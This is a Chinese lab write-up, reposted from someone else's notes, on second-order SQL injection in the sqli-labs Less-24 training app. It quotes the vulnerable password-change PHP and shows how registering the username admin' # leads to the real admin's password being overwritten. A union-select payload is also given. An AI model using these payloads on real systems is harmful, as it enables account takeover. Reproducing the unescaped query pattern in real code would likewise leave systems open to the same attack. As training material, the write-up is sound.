sql-labs less24 二次注入(注入点和执行点不同)

转自一个不知名大佬的笔记

----------------------------------less-24-----------------------------------

原url：

http://192.168.137.138/sqli-labs-master/Less-24/

            二次注入

注入过程分为两个部分，语句插入和语句执行。常规的注入中都是将SQL语句插入后即可显示效果，出错或者注入结果（两次注入点在一起）。而二次注入中的第一步不会产生任何反应，因为他只是一个语句的插入，并没有运行，在第二步运行时才能执行第一步插入的语句并显示结果。而这两个点可能不在同一个位置。

先去站点进行信息收集：

在username和password框里进行注入测试，发现都失败了

页面下方的 Forgot your password？功能不能用

页面下方的 New User click here？功能可以使用，点击进入

返回的页面是创建新用户的，先创建一个 test，test 用户，回到主页面登陆

登陆进去后的页面是改密码用的

在去之前创建新用户的地方进行注入测试

结果还是显示：

Redirecting you to login page in 5 sec................
If it does not redirect, click the home button on top right

也就是说，创建用户对于现在我的能力来说，没有注入点

那么还是用之前test，test登进去

现在去测试一下，更新密码的地方有没有注入漏洞

发现返回页面要么提示更新密码成功，要么显示错误页面（但是并没有反馈错误信息），这里我们也可以认为没法注入

现在去查看 cookie ，发现有一个 PHPsessid ，这个和 cookie 的作用差不多，也是避免重复登录，但是安全性比 cookie 高多了，有这个，就说明 cookie 这里应该没法注入

那就说明，这个站点不存在一般性的漏洞了

总结所收集的信息：

① 网页存在登录框，可以登录，并回显结果

② 全为post隐式传参，不存在url参数

③ 可以添加新用户

④ 存在更改密码的功能，若旧密码输入正确则可以更新密码

⑤ 密码找回功能无法使用

⑥ 采用 php session 机制，不存在 cookie 注入

七程序有一定的过滤机制，初步注入测试失败

让我们带着上面的疑问去看下程序的源码，从源头查找我们的答案

在pass_change.php文件中，能找到答案

session_start();//php session 机制
if (!isset(_SESSION["username"]))
{
header('Location: index.php');
}
header('Location: index.php');
}
?>

HOME

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

if (isset($_POST['submit']))
{

# Validating the user input........
$username= $_SESSION["username"];//从 session 机制中直接提取username
$curr_pass= mysql_real_escape_string($_POST['current_password']);//过滤处理
$pass= mysql_real_escape_string($_POST['password']);//过滤处理
$re_pass= mysql_real_escape_string($_POST['re_password']);//过滤处理

if($pass==$re_pass)
{   
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
    $row = mysql_affected_rows();
    echo '';
    echo '';
    if($row==1)
    {
        echo "Password successfully updated";

    }
    else
    {
        header('Location: failed.php');
        //echo 'You tried to be smart, Try harder!!!! :( ';
    }
}
else
{
    echo '';
    echo "Make sure New Password and Retype Password fields have same value";
    header('refresh:2, url=index.php');
}

}
?>

在上面的源码部分，我们看见在修改 password 的过程中，只有 username 是没做任何处理的

但是呢，username又不是受我们控制的，他是直接从 session 中获取

那么现在把注册页面和修改密码页面结合起来，如果通过构造语句，注册了一个有注入语句的username，然后呢在改密码页面中，这个username又被提取出来没做任何过滤处理，那么能否达到注入的效果呢？

现在创建一个新用户：admin' #,1234

显示注册成功

现在去 mysql 数据库中查看

可见，第20个用户的用户名是 admin' #

现在用刚才注册的用户和密码去登陆

    YOU ARE LOGGED IN AS
        admin' #

    You can Change your password here.

重置密码，随便改一个密码，看看什么效果（将1234改成123）

Password successfully updated（密码修改成功）

现在去数据库中看看：

mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | qwer | qwer |
| 16 | rewq | rewq |
| 17 | rewq | 1 |
| 18 | test | test |
| 19 | 123' | 123' |
| 20 | admin' # | 1234 |
+----+----------+------------+
19 rows in set (0.00 sec)

结果第20个用户的密码并没有修改成 123

反而第8个用户 admin 的密码本来是 admin 的，现在被改成了 123

现在我们看看之前部分源码中的 sql 语句拼接部分：

pass' where username='curr_pass' ";

把用户名和当前密码和修改成的密码全部换上去

$sql = "UPDATE users SET PASSWORD='123' where username='admin' #' and password='1234' ";

虽然这个 admin' # ，在创建的时候，并没有对数据库造成什么影响，但是从数据库中拿出来，去进行 sql 拼接的时候，就发生了影响，这个 # 就注释掉了后面的内容，改变的是username为admin 用户的密码

在注册的时候，可以构造更复杂的语句，去达到搜集信息的目的

但是呢，username 这个地方，数据库可以限制其长度

比如：

构造一个注入语句：

1' and 1=2 union select 1,2,3 #

放到数据库中可能就变成了

1' and 1=2 union s

也没法起到相应的作用

这种机制也在一定程度上限制了注入，但是还是很危险，比如刚刚把 admin 的密码改成123

总结：

    渗透前的信息收集（越复杂的程序，漏洞就越多，开发者会疏忽）

    二次注入与数据过滤
    （程序是非常信任数据库中的信息的，但通过本次课程，应该认识到，数据库中的信息也不一定是绝对安全的）

sql-labs less24 二次注入(注入点和执行点不同)

转自一个不知名大佬的笔记

你可能感兴趣的:(sql-labs less24 二次注入(注入点和执行点不同))